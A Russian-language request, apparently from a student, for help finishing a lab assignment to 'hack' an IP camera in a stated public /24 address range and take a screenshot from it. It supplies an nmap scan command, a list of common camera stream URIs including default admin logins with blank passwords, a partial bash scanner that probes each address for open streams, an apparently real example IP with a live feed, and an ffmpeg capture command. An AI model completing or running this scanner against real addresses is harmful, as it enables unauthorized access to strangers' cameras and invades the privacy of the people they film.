Системное программирование. Доработка существующего продукта. Лабораторная работа на тему «Развертывание Docker контейнера Kali Linux для идентификации IP-камер и перебора URI видеопотоков», нам необходимо взломать камеру из указанного диапазона IP-адресов ²¹² ¹¹⁴ ²²² ⁰ / ²⁴) и сделать скриншот с камеры. Следует использовать nmap, fmpeg и curl. Вы можете сделать в Termux или Linux, а не именно в контейнере Docker. Как вам угодно) 1. Сканирование портов nmap -Pn -p <порты> ²¹² ¹¹⁴ ²²² ⁰ / ²⁴ -oN nmap_results.txt 2. Создать файл uris.txt (URI) /mjpg/video.mjpg /videostream.cgi?user=admin&pwd= /jpgmulreq/1/image.jpg?key=1516975535684&lq=1&COUNTER /cgi-bin/camera?resolution=640&quality=1&Language=0&COUNTER /webcapture.jpg?command=snap&channel=1?COUNTER /-wvhttp-01-/GetOneShot?image_size=640x480&frame_count=1000000000 /SnapshotJPEG?Resolution=640x480&Quality=Clarity&COUNTER /snap.jpg?JpegSize=M&JpegCam=1&r=COUNTER /oneshotimage1?COUNTER /cgi-bin/faststream.jpg?stream=half&fps=15&rand=COUNTER /?action=stream /jpg/image.jpg?COUNTER /out.jpg?q=30&id=0.1317044913727916&r=COUNTER /img/video.mjpeg /__live.jpg?&&&COUNTER /axis-cgi/mjpg/video.cgi?camera=&resolution=640x480 /cam_1.cgi /GetData.cgi?CH=1 /nph-jpeg.cgi?0 /asp/video.cgi /cgi-bin/viewer/video.jpg?r=COUNTER /tmpfs/auto.jpg?COUNTER /image?speed=0 /cgi-bin/snapshot.cgi?chn=0&u=admin&p=&q=0&COUNTER /image/Index?time=0 /video/mjpg.cgi /onvif/snapshot/1/11 /cgi-bin/snapshot.cgi?COUNTER /mjpeg.cgi # добавить ещё другие распространенные URI 3. Создание скрипта scan_cams.sh (требует доработки) # Файл с IP-адресами (результаты Nmap) IP_FILE=“nmap_results.txt“ # Файл со списком URI URI_FILE=“uris.txt“ # Лог-файл LOG_FILE=“cam_log.txt“ # Функция для проверки IP-адреса и URI check_camera() { IP=“$1“ URI=“$2“ echo “Проверка $IP$URI“ # !!!! ВАША РЕАЛИЗАЦИЯ !!!!! if [ $? -eq 0 ]; then # !!!! ВАША РЕАЛИЗАЦИЯ !!!!! echo “Cтатус камеры $STATUS“ if [[ “$STATUS“ == *“200 OK“* “$STATUS“ == *“401 Authorization Required“* “$STATUS“ == *“501 Not Implemented“*]]; then TG_URL=“${IP}${URI}“ echo “Потенциальная камера: ${TG_URL}“ ffprobe ffprobe -hide_banner “${TG_URL}“ fi fi } # Получаем IP-адреса из файла (нужно адаптировать под формат вывода Nmap) while IFS= read -r line; do # Ищем строки, содержащие IP-адрес и статус “open“ для одного из целевых портов # !!!! ВАША РЕАЛИЗАЦИЯ !!!!!; then IP=$(echo “$line“ | awk '{print $2}') # Извлекаем IP-адрес и порты # Читаем URI из файла и проверяем каждый while IFS= read -r uri; do check_camera “$IP“ “$uri“ done < “$URI_FILE“ fi done < “$IP_FILE“ echo “Сканирование завершено. Результаты в $LOG_FILE“ Важно!!! Этот скрипт требует дороботки с вашей стороны curl -m 1 -Is: curl с параметрами: -m 1: Таймаут 1 секунда. -I: Запрашивает только заголовки HTTP. -s: Тихий режим. grep “HTTP/“: Проверяет, что получен HTTP-ответ. $? содержит код возврата последней команды. 200 OK, 401 Authorization Required и 501 Not Implemented: Наиболее вероятные коды ответов для IP-камер. В результате сканирования должны быть найдены потенциальные url видеопотока например: Например 130.180.105.226 по 8080 с uri '/jpg/image.jpg?COUNTER': Video: mjpeg (Baseline), yuvj420p(pc, bt470bg/unknown/unknown), 1280x720 [SAR 1:1 DAR 16:9], 25 fps, 25 tbr, 25 tbn Запуск скрипта: chmod +x scan_cams.sh ./scan_cams.sh 4. Захват скриншота видеопотока: Выберите IP-адрес и URI из cam_log.txt. Запустите ffmpeg ffmpeg -i “http://<IP>:<PORT>/<URI>“ -vframes 1 snapshot.jpg Вы отправляете скриншот каждого шага, я вставлю его в отчет. Нам нужно сделать это сегодня к 14:00. Я пытаюсь уже четыре дня, но у меня не получается.